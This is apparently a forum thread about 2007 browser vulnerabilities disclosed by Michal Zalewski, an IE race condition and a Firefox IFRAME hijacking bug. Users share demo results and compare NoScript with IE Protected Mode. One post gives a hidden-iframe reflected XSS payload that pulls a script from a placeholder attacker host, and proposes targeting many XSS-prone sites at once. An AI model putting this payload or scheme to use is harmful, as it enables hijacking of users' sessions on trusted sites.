4 New vulnerabilities in IE and Firefox

Michal Zalewski has published details of 4 new serious vulnerabilities in IE and Firefox. There are demo tests for each vulnerability. The most serious one is an IE page update race condition which is rated critical. Microsoft has already responded that they are looking into this further.

He explains the IE vulnerability:

"In short, when Javascript code instructs MSIE to navigate away from a page that meets same-domain origin policy (and hence can be scriptually accessed and modified by the attacker) to an unrelated third-party site, there is a window of opportunity for concurrently executed Javascript to perform actions with the permissions for the old page, but actual content for the newly loaded page, for example: read or set victim.document.cookie, arbitrarily alter document DOM, including changing form submission URLs, injecting code, or even crashing the browser due to memory corruption while reading and writing not fully initialized data structures.

In other words, the entire security model of the browser collapses like a house of cards and renders you vulnerable to a plethora of nasty attacks; and local system compromise is not out of question, either."
http://lcamtuf.coredump.cx/ierace/

I did the demo for the race condition using IE6 (IE7 is also vulnerable). Perhaps the results for me were due to my not so conventional IE cookie handling. IE cookie handling popped up and asked if I wanted Google to set a cookie and I said no and that threw IE into a locked loop and the only way out was to use Task Manager to kill IE. (The demo does state that you have to have cookies accepted to do the demo properly so I should have told IE to accept the cookie but I have never accepted a Google cookie and didn't want to start just for this demo).

The most serious of the Firefox vulnerabilities reported involves a cross-site IFRAME hijacking bug. There are two parts to that test. The one that relies on about:blank frame caused Fx to freeze on a blank screen with 80% CPU usage. With the second test that does not rely on about:blank frame, I got a Google page saying OWNED repeatedly down the left column and Fx would not stop loading the page and I could not close the tab.
http://lcamtuf.coredump.cx/ifsnatch/

http://blogs.zdnet.com/security/?p=254

 

I put both pages to trusted and allowed a cookie for google.pl. One, still closeable, tab looks like in an endless loop, but in 2 minutes it ended and wrote, that browser is not vulnerable. I allowed all cookies and IE7 still passed, so I disabled protected mode for the trusted zone and "finally" the IE7 failed. So it all depends on settings, as most exploits expect.

 

Needless to say, none of the Firefox exploits had a chance to survive NoScript

 

Not the same story for IE.

 

I´m not sure what to think about these tests, how do you know if they work or not? With the first FF exploit I get to see a dialog which tells me they can intercept my keystrokes or something? And with the second one, I get to see a standard FF prompt asking me if I want to download "evilscript.html".

And the IE exploits don´t seem to work at all, might be because of my system settings.

 

Actually , Tom_SK's test showed that Windows Vista's Internet Explorer 7 with default settings (by default Protected Mode is ON) , is not vulnerable

 

That is right HiTech_boy, well I am glad, that at least someone reads, what I write.
By the way, IE with no scripts is as safe as any other browsers as well and that is that.
This is the second zero day exploit, I know about, that is protected by protected mode.

 

"No scripts" is one thing, NoScript is another.

IE has Zones, but they're not nearly as usable as NoScript.
Furthermore, IE Zones won't protect your trusted sites from reflected XSS, while NoScript does and that is that.

 

I will echo that, attested to by the many people I know who have used IE for years with no problems whatsoever.

From the test page:

Well, who permits javascript on unknown sites? Why disable a security protection to let an exploit run?

It's like removing your roof to see whether or not your floor will get wet in a rain.

You can argue, Well it shows what *could* happen. OK, but how long as this vulnerability existed?
Since the browser was first released, of course - it just lay waiting for someone to discover it.

How many more *possible* vulnerabilities do you think are just laying there, waiting to be discovered?

The problem is, that there are sites which require javascript to function, and at some point,
everyone has to make a decision as to which sites to trust: your bank, for example.

Question:

How do you decide that yourbank.com can be trusted
and that you can confidently enable javascript?


regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."

--Bruce Schneier​

 

This is true, but what is the likelihood of someone falling to a reflected XSS exploit to your trusted sites?

From your wikipedia reference;

regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."

--Bruce Schneier​

 

Rich, I'm not sure, what do you mean here?
Do you mean that reputable sites are immune from XSS vulnerabilities?
Or that smart people do not follow any link at all?

Well said!
Of course, since you don't use any protection against reflected XSS, I assume you don't even dare to visit any unknown site right?
Because some unknown site may contain something like this:

<iframe style="visibility: hidden"
src="http://some_trusted_site.com/xssable_page?xss_injection=<script%20src=http://evil_hackers.com/xss/some_zalewski_exploit.js></script>">
</iframe>

Actual JavaScript-based browser exploits add some fun to the XSS game, don't them?

P.S.: it's not your fault, the part of the Wikipedia article you quoted is quite naive and outdated: nobody in the security community overlooks reflected XSS nowadays.

 

I'm referring to the persistent type of XSS, and so I determine as best as I can as to the security of the sites
on which I transact business, and leave it at that.

I cannot speak for anyone else, but for me, clicking on a link referring to a story about ZA is one thing.
Logging in to the ZA site reached from an external link is something else.

I'm not too worried at the moment.

BTW - will this example work if Javascript is disabled? When I tried your original example you posted above -- which also caches a .js file -- it would not work with javascript disabled.

I assumed that from your other threads, but since you referred to it, I quoted it.
I still think the part about the "social engineering" element is relevant.

regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."

--Bruce Schneier​

 

You should, because I've just shown you how to silently exploit any JavaScript related browser vulnerability (isn't that the original topic, after all?) even if you've got scripting disabled on the attacker site, provided that at least one "trusted" sites exists which has JavaScript enabled and is XSSable.

Yes, it works if you your whitelist is implemented using IE's "Zones" or Opera's "Site Preferences".
It doesn't work if you use NoScript. That's the whole point of NoScript's "Anti-XSS Protection".

 

That provision [persistent XSS] does not exist for the trusted sites where I transact business.

 

Sorry, I did not specify (I wrongly assumed my iframe sample was clear enough):
provided that at least one "trusted" site exists which has JavaScript enabled and is vulnerable to reflected XSS (like 80% of the web).

 

OK: looking more closely at the code (not being a programmer): So, the scenario is that I go to some site that has a hidden iframe that directs me to a trusted site which is XSS exploitable, whereupon it injects code which calls out to a malicious site to download a javascript file?

At what point does my javascript have to be enabled?

What if that site I'm directed to is not trusted?

 

You got the point

On the the site you're directed to, that we were assuming is trusted.
To maximize the chances, a malicious web page could simply scrape the content of http://xssed.org/pagerank/ and build a bunch of iframes, one per domain, in the same popularity order (first yahoo.com, then google.com and so on): in most cases, one will fall.

If by "not trusted" you mean "JavaScript disabled", nothing happens.
Nothing happens also if it's trusted and JavaScript is enabled via NoScript ("Allow some_trusted_site.com"), because of 2 defense mechanisms:

1. NoScript's anti-XSS filters are triggered, because the origin site is not trusted (all requests from untrusted to trusted sites are filtered to strip out XSS attempts)
2. Even if anti-XSS protection was disabled (God forbid!), NoScript would block the external JS file inclusion because the file comes from an untrusted domain.
   This differs from other forms of selective JavaScript blocking, and specifically from Opera's "Site specific preferences", which automatically allow all the scripts loaded by a trusted page even if loaded from untrusted domains.

 

Thanks, elio, for the explanation.


-rich

 

To avoid being affected by the cross-site IFRAME hijacking bug, you can turn off frames in Firefox.

Type in about:config in the address bar.

Locate browser.frames.enabled

Right click and select Toggle to change it to False.

If you can't find it, right click on an empty space in about:config and click on new--->boolean
and input the above-mentioned value and set it to false.

 

To avoid what, exactly?

 

...and following along even further:
http://it.slashdot.org/article.pl?sid=07/06/05/0046258

 

But do the IE exploits work on your systems? Also, what results do y´all get with the FF exploits?